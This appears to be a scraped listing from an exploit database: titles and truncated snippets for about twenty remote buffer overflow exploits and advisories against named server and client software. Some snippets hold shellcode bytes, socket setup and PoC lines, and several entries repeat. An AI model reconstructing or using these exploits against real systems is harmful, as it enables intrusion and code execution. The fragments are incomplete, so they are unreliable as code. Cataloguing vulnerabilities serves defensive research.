Durian Web Application Server 3.02 - Remote Buffer Overflow

http://sourceforge.net/projects/durian/ / errorreportingEALL; $address = "192.168.1.3"; $serviceport = "4002"; $shellcode = "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\x6d\x13\x86\x7c". //WinExec, 0x7c86136d "\xff\xd3". "\x31\xc0". "\x50"...

KsIRC 1.3.12 - PRIVMSG Remote Buffer Overflow (PoC)

KsIRC 1.3.12 - PRIVMSG Remote Buffer Overflow PoC // KSirc 1.3.12 - PRIVMSG remote Buffer Overflow // PoC // // Federico L. Bossi Bonin // [email protected] // www.GlobalST.com.ar // 0 0xb7ea8792 in KSircIOController::stdoutread from /usr/kde/3.5/lib/libkdeinitksirc.so // 1 0xb7ea78c8 in...

OpenLDAP 2.4.3 - 'KBIND' Remote Buffer Overflow

/ openldap-kbind-p00f.c - OpenLDAP kbind remote exploit Only works on servers compiled with --enable-kbind enable LDAPv2+ Kerberos IV bind deprecated no by Solar Eclipse Shoutouts to LSD for their l33t asm code and to all 0dd people Private 0dd code. / include include include include include...

LS-20061001 - Computer Associates BrightStor ARCserve Backup v11.5 Remote Buffer Overflow Vulnerability

LS-20061001 LSsec has discovered a vulnerability in Computer Associates BrightStor ARCserve Backup v11.5, which could be exploited by an anonymous attacker in order to execute arbitrary code with SYSTEM privileges on an affected system. The flaw specifically exists within the Tape Engine...

AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl -w acaroatjervus.it http://www.securityfocus.com/bid/21320 [email protected] is credited with the discovery of this vulnerability use IO::Socket; if!$ARGV1 print "Uso: atftp-19.pl victim port\n\n"; exit; $victim = IO::Socket::INET-newProto='udp',...

NetBSD Ftpd和Tnftpd移植远程缓冲区溢出漏洞

tnftpd是一款NetBSD FTP服务程序的移植版本。 NetBSD tnftpd存在远程堆栈溢出问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 要触发此漏洞，攻击者必须建立文件夹和使用GLOB特殊字符如星号来溢出内部堆栈缓冲区，精心构建提交数据可能以进程权限执行任意指令。 tnftpd tnftpd 20040810 NetBSD NetBSD 3.0 目前没有解决方案提供： http://freshmeat.net/projects/tnftpd !perl $$$ NetBSD ftpd and ports Remote ROOOOOT $HOLE$ $$$...

Allied Telesyn TFTP (AT-TFTP) ServerDaemon 1.9 - Filename Remote Buffer Overflow

Allied Telesyn TFTP AT-TFTP ServerDaemon 1.9 - Filename Remote Buffer Overflow !/usr/bin/perl -w acaroatjervus.it https://www.securityfocus.com/bid/21320 [email protected] is credited with the discovery of this vulnerability use IO::Socket; if!$ARGV1 print "Uso: atftp-19.pl \n\n"; exit; $victim =...

Allied Telesyn TFTP (AT-TFTP) Server/Daemon 1.9 - 'Filename' Remote Buffer Overflow

!/usr/bin/perl -w acaroatjervus.it https://www.securityfocus.com/bid/21320 [email protected] is credited with the discovery of this vulnerability use IO::Socket; if!$ARGV1 print "Uso: atftp-19.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='udp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "Cann...

Evince Document Viewer - 'DocumentMedia' Remote Buffer Overflow

/ Creator: K-sPecial xzziroz.net of .aware awarenetwork.org Name: evince-ps-field-bof.c Date: 11/27/2006 Version: 1.00 - creation Other: this idea originaly came from the bid for the 'gv' buffer overflow 20978, i don't believe it's known until now that evince is also vulnerable. Compile: gcc -o...

LS-20061113 - CA BrightStor ARCserve Backup Remote Buffer Overflow Vulnerability

LS-20061113 LSsec has discovered a vulnerability in Computer Associates BrightStor ARCserve Backup v11.5, which could be exploited by an anonymous attacker in order to execute arbitrary code with SYSTEM privileges on an affected system. The flaw specifically exists within the Tape Engine...

Novell Client 4.91 - NWSPOOL.dll Remote Buffer Overflow

Novell Client 4.91 - NWSPOOL.dll Remote Buffer Overflow // source: https://www.securityfocus.com/bid/21220/info Novell Client is prone to a remote buffer-overflow vulnerability. Successful exploits may result in a denial-of-service condition or arbitrary code execution. Remote, anonymous attacker...

WFTPD Pro Server 3.23.1.1 (APPE) Remote Buffer Overflow PoC

No description provided by source. !/usr/bin/env python import sys import struct import ftplib print "WFTPD Pro Server 3.23.1.1 Buffer Overflow Only a DOS currently, simple POC" print "Copyright c Joxean Koret" print target = "192.168.1.13" targetPort = "21" try: ftp = ftplib.FTP print "+...

WFTPD Pro Server 3.23.1.1 - APPE Remote Buffer Overflow (PoC)

WFTPD Pro Server 3.23.1.1 - APPE Remote Buffer Overflow PoC !/usr/bin/env python import sys import struct import ftplib print "WFTPD Pro Server 3.23.1.1 Buffer Overflow Only a DOS currently, simple POC" print "Copyright c Joxean Koret" print target = "192.168.1.13" targetPort = "21" try: ftp =...

WFTPD Pro Server 3.23.1.1 - 'APPE' Remote Buffer Overflow (PoC)

!/usr/bin/env python import sys import struct import ftplib print "WFTPD Pro Server 3.23.1.1 Buffer Overflow Only a DOS currently, simple POC" print "Copyright c Joxean Koret" print target = "192.168.1.13" targetPort = "21" try: ftp = ftplib.FTP print "+ Connecting to target " msg =...

Novell eDirectory <= 9.0 DHost Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================================= Novell eDirectory | \ / / / / 30\10\06 / || / / mm. dM8 YMMMb. dMM8 YMMMMb dMMM' YMMMb dMMMP There are doors I have yet to open YMMM MMM' windows I have yet to look through...

PrivateWire Gateway 3.7 (Windows x86) - Remote Buffer Overflow (Metasploit)

PrivateWire Gateway 3.7 Windows x86 - Remote Buffer Overflow Metasploit...

Retro64 CR64Loader ActiveX远程缓冲区溢出漏洞

CR64Loader对象是Retro64提供的一个ActiveX控件，用于提供在线游戏。 CR64Loader的实现上存在缓冲区溢出漏洞，如果用户受骗访问了恶意的WEB页面的话，就会触发这个漏洞，导致执行任意指令。 Retro64 CR64Loader 临时解决方法： 为以下CLSID设置kill bit： 288C5F13-7E52-4ADA-A32E-F5BF9D125F99 厂商补丁： Retro64 ------- 我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://retro64.com/...

Half Life (rcon) Remote Buffer Overflow Exploit

No description provided by source. / SDI HalfLife rcon remote exploit for linux x86 portuguese exploit remoto para o buffer overflow do rcon no halflife Tamandua Sekure Labs Sao Paulo - Porto Alegre, Brazil by Thiago Zaninotti c0nd0r [email protected] Gustavo Scotti csh [email protected] Proof of...

MS Internet Explorer (VML) Remote Buffer Overflow Exploit

No description provided by source. / ----------------------------------------------------------------------- vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit !!! 0day !!! Public Version !!! Copyright C 2006 XSec All Rights Reserved. Author : nop : nopxsec.org :...

Kerio MailServer 5.6.3 Remote Buffer Overflow Exploit

No description provided by source. / Remote Buffer Overflow Exploit for Kerio MailServer 5.6.3 / / ========================================= / / By B-r00t / / / / In response to the Kerio Mailserver vulnerabilities / / discovered by David F.Madrid. / / / / Although this exploit requires valid...